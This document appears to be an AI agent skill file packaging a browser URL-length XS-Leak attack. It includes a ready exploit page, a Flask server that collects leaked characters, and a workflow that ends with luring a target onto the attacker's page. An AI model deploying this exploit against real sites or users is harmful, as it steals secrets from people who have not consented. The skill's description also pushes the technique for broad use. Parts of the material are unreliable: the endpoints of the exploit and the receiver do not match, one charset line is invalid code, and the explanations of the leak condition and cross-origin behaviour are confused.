| name | url-length-exploit |
| description | Exploit browser URL length limits (Chrome's 2MB limit) to leak secrets character-by-character. Use this skill whenever you need to extract hidden data from URLs, CTF challenges involving URL-based secrets, or when you suspect a target is vulnerable to URL length overflow attacks. This is especially useful for CTF writeups, pentesting web applications, or when you encounter challenges with URL-based secret leakage. Make sure to use this skill when you see URL-based secret challenges, CTF writeups mentioning URL limits, or any scenario where you need to extract data through URL manipulation. |
URL Length Exploit - Client Side
This skill helps you exploit browser URL length limits to leak secrets character-by-character. Chrome has a 2MB URL limit, and when a URL exceeds this limit, the browser fails to load it. We can use this to determine which characters are part of a secret.
How It Works
-
The Vulnerability: Browsers have maximum URL length limits (Chrome: ~2MB). When a URL exceeds this limit, the browser cannot load it.
-
The Exploit: We construct URLs that are just under the limit, then try adding each possible character. If the URL loads successfully, that character is NOT part of the secret. If it fails, that character IS part of the secret.
-
Detection: We use window.open() and check if w.origin throws an error. If it does, the URL was too long and the character is part of the secret.
Exploit Template
Client-Side Exploit (exploit.html)
<html>
<body></body>
<script>
;(async () => {
const curr = "http://target.com/search?query=SECRET_PREFIX{";
const leak = async (char) => {
fetch("/api/try=" + char);
let w = window.open(
curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2)
);
const check = async () => {
try {
w.origin;
} catch {
fetch("/api/nope=" + char);
return;
}
setTimeout(check, 100);
};
check();
}
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789";
for (let i = 0; i < CHARSET.length; i++) {
leak(CHARSET[i]);
await new Promise((resolve) => setTimeout(resolve, 50));
}
})();
</script>
</html>
Server-Side Receiver (for CTF/pentesting)
from flask import Flask, request
app = Flask(__name__)
CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []
@app.route('/', methods=['GET'])
def index():
global chars
nope = request.args.get('nope', '')
if nope:
chars.append(nope)
remaining = [c for c in CHARSET if c not in chars]
print("Remaining: {}".format(remaining))
return "OK"
@app.route('/exploit.html', methods=['GET'])
def exploit():
return open('exploit.html', 'r').read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
Adaptation Guide
1. Adjust the Base URL
Change curr to match your target:
const curr = "http://target.com/path?param=SECRET_PREFIX{";
2. Modify the Character Set
Adjust CHARSET based on what characters the secret might contain:
const CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}";
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_.~0123456789";
const CHARSET = "!".charCodeAt(0) to "~".charCodeAt(0)
3. Handle Different URL Length Limits
Different browsers have different limits:
- Chrome: ~2MB (2 * 1024 * 1024 bytes)
- Firefox: ~64KB
- Safari: ~80KB
Adjust the padding calculation:
const URL_LIMIT = 2 * 1024 * 1024;
const padding = "A".repeat(URL_LIMIT - curr.length - 2);
4. Add Error Handling
For production use, add timeout handling:
const check = async () => {
try {
w.origin;
} catch {
fetch("/api/nope=" + char);
return;
}
setTimeout(check, 100);
};
setTimeout(() => {
console.log("Timeout for character:", char);
}, 5000);
Usage Scenarios
CTF Challenges
- Look for challenges with URL-based secrets
- Check for hints about URL length or browser limits
- Common in web exploitation categories
Pentesting
- Test web applications for URL length vulnerabilities
- Check if sensitive data is exposed via URL parameters
- Verify proper input validation on URL parameters
Research
- Understand browser security limitations
- Document URL-based attack vectors
- Create proof-of-concept exploits
Important Notes
-
Cross-Origin Restrictions: The exploit requires the target to be same-origin or have CORS enabled.
-
Browser Compatibility: Different browsers have different URL length limits. Test on the target browser.
-
Rate Limiting: Add delays between requests to avoid triggering rate limits.
-
Ethical Use: Only use this technique on systems you have permission to test.
Example Workflow
- Identify the target: Find a URL with a secret prefix (e.g.,
?query=FLAG{)
- Set up the server: Run the Flask receiver to track leaked characters
- Deploy the exploit: Host
exploit.html on a server you control
- Trigger the exploit: Get the target to load your exploit page
- Collect results: Monitor the server logs for leaked characters
- Reconstruct the secret: Combine the leaked characters in order
References
- Original CTF Writeup
- Chrome URL length limit: ~2MB
- Firefox URL length limit: ~64KB
- Safari URL length limit: ~80KB